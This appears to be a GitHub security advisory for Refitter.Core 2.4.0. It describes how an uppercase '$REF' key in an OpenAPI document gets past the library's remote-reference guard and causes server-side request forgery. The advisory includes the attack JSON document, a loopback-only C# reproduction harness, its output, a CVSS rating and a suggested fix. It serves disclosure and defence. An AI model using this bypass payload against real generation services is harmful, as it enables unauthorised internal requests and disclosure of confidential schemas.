Skip to main content
Menu
Advisories

Uppercase $REF bypasses Refitter.Core's remote reference guard

GHSA-MGQJ-PH59-3R6RPublished Updated GitHub

Description

Uppercase $REF bypasses Refitter.Core's remote reference guard

Summary

Refitter.Core 2.4.0 accepts a literal uppercase $REF in an attacker-supplied JSON OpenAPI document even though its default guard is intended to reject remote references; the downstream parser nevertheless fetches the remote schema and includes it in generated source. In a tenant-facing generation service that can reach confidential internal schema endpoints and returns generated source to the submitting tenant, this permits SSRF and disclosure of that schema. The tested service wrapper uses the supported public RefitGenerator.CreateAsync API, and the lowercase $ref control is rejected before any schema request.

Technical Details

RefitGenerator.CreateAsync calls GetOpenApiDocument, which passes settings.AllowRemoteReferences to OpenApiDocumentFactory.CreateAsync. For a local document, the factory calls ReferenceGuard.ValidateAsync before loading it and later parsing it. The default AllowRemoteReferences setting is false; the README says remote $ref resolution is disabled by default to prevent generation-time SSRF. (RefitGenerator.cs, OpenApiDocumentFactory.cs, RefitGeneratorSettings.cs, README.md)

In ReferenceGuard.ExtractJsonReferences, the JSON token reader inspects a property only when (string?)reader.Value == "$ref". That comparison is case-sensitive. The supported downstream parser resolves the literal uppercase key, so the guard and parser disagree about which input property names carry references. The guard therefore sees no remote reference in the attack document; parsing then fetches the schema. The public API call and returned marker in the proof demonstrate both parser acceptance and the consequence. (ReferenceGuard.cs)

The proof uses a low-privilege caller submitting an OpenAPI document to a wrapper that invokes the supported library API and returns generated source. The pinned Refitter product does not include that tenant-facing upload service. The vulnerability therefore applies when Refitter is embedded in a supported service that accepts untrusted tenant documents; it does not establish an authentication or authorization flaw in Refitter itself.

PoV

The request document contains a remote schema URL under the uppercase key. The negative control changes only that key to lowercase:

~~~json { "openapi": "3.0.1", "info": { "title": "UntrustedRemoteRef", "version": "1.0.0" }, "paths": { "/data": { "get": { "operationId": "GetData", "responses": { "200": { "description": "ok", "content": { "application/json": { "schema": { "$REF": "__SCHEMA_URL__#/definitions/Internal" } } } } } } } } } ~~~

A supported caller supplies the local document path without enabling remote references:

~~~csharp var generator = await RefitGenerator.CreateAsync( new RefitGeneratorSettings { OpenApiPath = documentPath }); return generator.Generate(); ~~~

The PoC appendix below starts a loopback schema server and a small HTTP generation wrapper, replaces __SCHEMA_URL__ with the server's assigned URL, and sends both documents through that wrapper.

PoC

The decisive probe loaded the Refitter.Core 2.4.0 NuGet binary. Its assembly informational version was 2.4.0+d3d7382b4244762e3dd8e838be00b19273f86bae, identifying build revision d3d7382. The pinned source snapshot at bf77ef633cd182563748fd7828e2d06bb24e1dd5 supplies the source references used to inspect the guard and parser; it is not the package binary's build revision. The bound harness targeted net10.0 and ran on the .NET 10.0.0 runtime. Appendix A's project targets net10.0 and references Refitter.Core 2.4.0. With the project and fixtures in Appendix A, run:

~~~sh dotnet run --project repro/remote-ref-api.csproj -- attack repro/remote-ref-attack.json dotnet run --project repro/remote-ref-api.csproj -- control repro/remote-ref-control.json ~~~

The following JSON lines are the reproduced output; build banners are omitted. The attack returned generated source containing the marker after one request to the loopback schema endpoint. The lowercase control was rejected, returned no generated source, and made no request:

~~~json {"api_status":200,"generator_returned":true,"caller_received_schema_marker":true,"internal_request_count":1} {"api_status":500,"generator_returned":false,"caller_received_schema_marker":false,"internal_request_count":0} ~~~

The marker is synthetic (InternalREFETCHMARKER20261120Z). This proof demonstrates the fetch and data flow at the Refitter API boundary; it does not access real internal data. A real disclosure requires a service with network access to a confidential internal schema endpoint and a response path that returns generated source to the same tenant.

Impact

The violated boundary is Refitter's default denial of nested remote schema references in caller-supplied documents. In a multi-tenant service, a low-privilege tenant can make the generation worker request a remote schema and receive its parsed contents as part of generated source. This supports CWE-918 (Server-Side Request Forgery); disclosure of the imported schema is the supported confidentiality consequence.

The CVSS v3.1 base vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N scores 4.3 (Medium). The conditional environmental vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N/CR:H/MC:H scores 9.2 (Critical). The environmental score applies only when (1) low-privilege tenants can submit OpenAPI documents, (2) the service leaves AllowRemoteReferences at its default false, (3) its worker can reach a highly confidential internal schema endpoint, and (4) it returns generated source to the submitting tenant. Without internal reachability and output return, the demonstrated effect is limited to a request to the test's loopback endpoint and the synthetic marker. The requested Critical label reflects that deployment condition; a maintainer may instead use the Medium base rating for Refitter installations without it.

Suggested Fix

Make the guard inspect every reference spelling the downstream parser resolves, for example by matching $ref with StringComparison.OrdinalIgnoreCase, or reject noncanonical spellings before parsing. Add a regression test that supplies an uppercase $REF HTTP reference with remote references disabled and asserts that generation rejects it before issuing an HTTP request; retain a lowercase $ref control that also makes no request.

Affected Package/Versions

  • NuGet package: Refitter.Core.
  • Affected version established by the proof: 2.4.0 only. The vulnerable guard is present in the pinned revision; the 2.4.0 release is recorded in the repository changelog.
  • No patched version is established by this report.

Advisory History

The earlier advisory GHSA-x6w4-f264-3vvr covered unrestricted remote references; PR #1173 added the default-deny behavior. GHSA-4f49-pm8q-mx4f and PR #1392 cover escaped reference keys or values. This input is neither an unrestricted lowercase $ref nor an escaped key: it is the literal uppercase $REF, which the pinned guard still fails to inspect.

The eight related reports reviewed for this advisory are local, unsubmitted reports ready for maintainer review. “Case-Colliding OpenAPI References Bypass Refitter's Default SSRF Guard” also concerns the remote-reference boundary, but its path-comparison flaw involves sibling files whose names differ only by case on case-sensitive filesystems. This report instead uses one JSON document and the guard's case-sensitive property-name check; it does not depend on sibling files or path comparison. A separate $Ref local-file confinement report concerns a case-variant reference that escapes the permitted local schema boundary and discloses an out-of-tree file; it is about local file access, not the remote HTTP fetch shown here. The mixed-separator SSRF report concerns a reference path with inconsistent slash and backslash separators that the guard and resolver interpret differently, rather than the uppercase JSON property name in this report. Other reports in the eight-report set cover distinct paths and effects: “Relative discriminator mappings bypass Refitter's schema confinement, causing out-of-tree schema disclosure” reads an out-of-tree local schema through a relative discriminator mapping; “Refitter CLI follows a pre-existing symlink when writing its default output” requires an operator to run the CLI with an existing output symlink and demonstrates a file overwrite; “C# code injection through OpenAPI operation-key attribute identifiers” concerns code injection through generated attributes; and “Unescaped response status in XML documentation exposes local XML files” concerns local-file disclosure through XML documentation generation. The completed SourceGenerator local-file report for uppercase $REF exercises the same guard/parser key-casing mismatch and the same fix invariant: the guard must recognize the reference spellings accepted downstream. It demonstrated out-of-tree local-file disclosure, while this report demonstrates a remote HTTP fetch and returned schema marker. These are different effects of the same root cause.

References

Appendix A: Reproduction project and harness

Create repro/remote-ref-api.csproj:

~~~xml <Project Sdk="Microsoft.NET.Sdk"> <PropertyGroup> <OutputType>Exe</OutputType> <TargetFramework>net10.0</TargetFramework> <ImplicitUsings>enable</ImplicitUsings> <Nullable>enable</Nullable> <NuGetAudit>false</NuGetAudit> </PropertyGroup> <ItemGroup> <PackageReference Include="Refitter.Core" Version="2.4.0" /> </ItemGroup> </Project> ~~~

Create repro/Program.cs:

~~~csharp using System.Net; using System.Net.Sockets; using System.Text; using System.Text.Json; using Refitter.Core;

const string marker = "REFETCHMARKER20261120Z"; var scenario = args[0]; var inputPath = args[1]; var internalRequestCount = 0; var generatorReturnCount = 0;

var remoteSchema = """ { "definitions": { "Internal": { "title": "InternalRemoteSchema", "type": "object", "properties": { "InternalREFETCHMARKER20261120Z": { "type": "string" } } } } } """;

var schemaServer = StartServer(requestTarget => { Interlocked.Increment(ref internalRequestCount); return Task.FromResult(requestTarget.StartsWith("/remote.json", StringComparison.Ordinal) ? new HttpResult(200, "OK", remoteSchema) : new HttpResult(404, "Not Found", "")); }); var schemaUrl = "127.0.0.1:" + schemaServer.Port + "/remote.json";

var serviceServer = StartServer(async requestTarget => { if (!requestTarget.StartsWith("/generate?document=", StringComparison.Ordinal)) return new HttpResult(404, "Not Found", "missing document");

try { var encoded = requestTarget[(requestTarget.IndexOf('=', StringComparison.Ordinal) + 1)..]; var template = Encoding.UTF8.GetString(Convert.FromBase64String(Uri.UnescapeDataString(encoded))); var documentPath = Path.Combine(Path.GetTempPath(), "untrusted-openapi-" + scenario + ".json"); await File.WriteAllTextAsync(documentPath, template.Replace("__SCHEMA_URL__", schemaUrl, StringComparison.Ordinal));

var generator = await RefitGenerator.CreateAsync(new RefitGeneratorSettings { OpenApiPath = documentPath }); Interlocked.Increment(ref generatorReturnCount); return new HttpResult(200, "OK", generator.Generate()); } catch (Exception ex) { return new HttpResult(500, "Internal Server Error", ex.GetType().Name + ": " + ex.Message); } });

try { var template = await File.ReadAllTextAsync(inputPath); using var client = new HttpClient { Timeout = TimeSpan.FromSeconds(30) }; var encoded = Uri.EscapeDataString(Convert.ToBase64String(Encoding.UTF8.GetBytes(template))); var response = await client.GetAsync("127.0.0.1:" + serviceServer.Port + "/generate?document=" + encoded); var callerResponse = await response.Content.ReadAsStringAsync(); Console.WriteLine(JsonSerializer.Serialize(new { api_status = (int)response.StatusCode, generator_returned = generatorReturnCount == 1, caller_received_schema_marker = callerResponse.Contains(marker, StringComparison.OrdinalIgnoreCase), internal_request_count = internalRequestCount })); } finally { schemaServer.Listener.Stop(); serviceServer.Listener.Stop(); }

static (TcpListener Listener, int Port) StartServer(Func<string, Task<HttpResult>> handler) { var listener = new TcpListener(IPAddress.Loopback, 0); listener.Start(); var port = ((IPEndPoint)listener.LocalEndpoint).Port; _ = Task.Run(async () => { while (true) { TcpClient client; try { client = await listener.AcceptTcpClientAsync(); } catch (SocketException) { return; } catch (ObjectDisposedException) { return; }

_ = Task.Run(async () => { using (client) { try { var stream = client.GetStream(); using var reader = new StreamReader(stream, Encoding.ASCII, false, 1024, true); var requestLine = await reader.ReadLineAsync() ?? ""; while (await reader.ReadLineAsync() is { Length: > 0 }) { } var requestTarget = requestLine.Split(' ')[1]; var result = await handler(requestTarget); var body = Encoding.UTF8.GetBytes(result.Body); var header = Encoding.ASCII.GetBytes( "HTTP/1.1 " + result.Status + " " + result.Reason + "\r\n" + "Content-Type: application/json; charset=utf-8\r\n" + "Content-Length: " + body.Length + "\r\n" + "Connection: close\r\n\r\n"); await stream.WriteAsync(header); await stream.WriteAsync(body); await stream.FlushAsync(); } catch { } } }); } }); return (listener, port); }

sealed record HttpResult(int Status, string Reason, string Body); ~~~

Create repro/remote-ref-attack.json:

~~~json { "openapi": "3.0.1", "info": { "title": "UntrustedRemoteRef", "version": "1.0.0" }, "paths": { "/data": { "get": { "operationId": "GetData", "responses": { "200": { "description": "ok", "content": { "application/json": { "schema": { "$REF": "__SCHEMA_URL__#/definitions/Internal" } } } } } } } } } ~~~

Create repro/remote-ref-control.json with the same content, changing only "$REF" to "$ref". The program hosts both servers on loopback, sends each document through the generation wrapper, and has the wrapper call RefitGenerator.CreateAsync without setting AllowRemoteReferences.

Affected versions

References

GitHub · christianhelle/refitter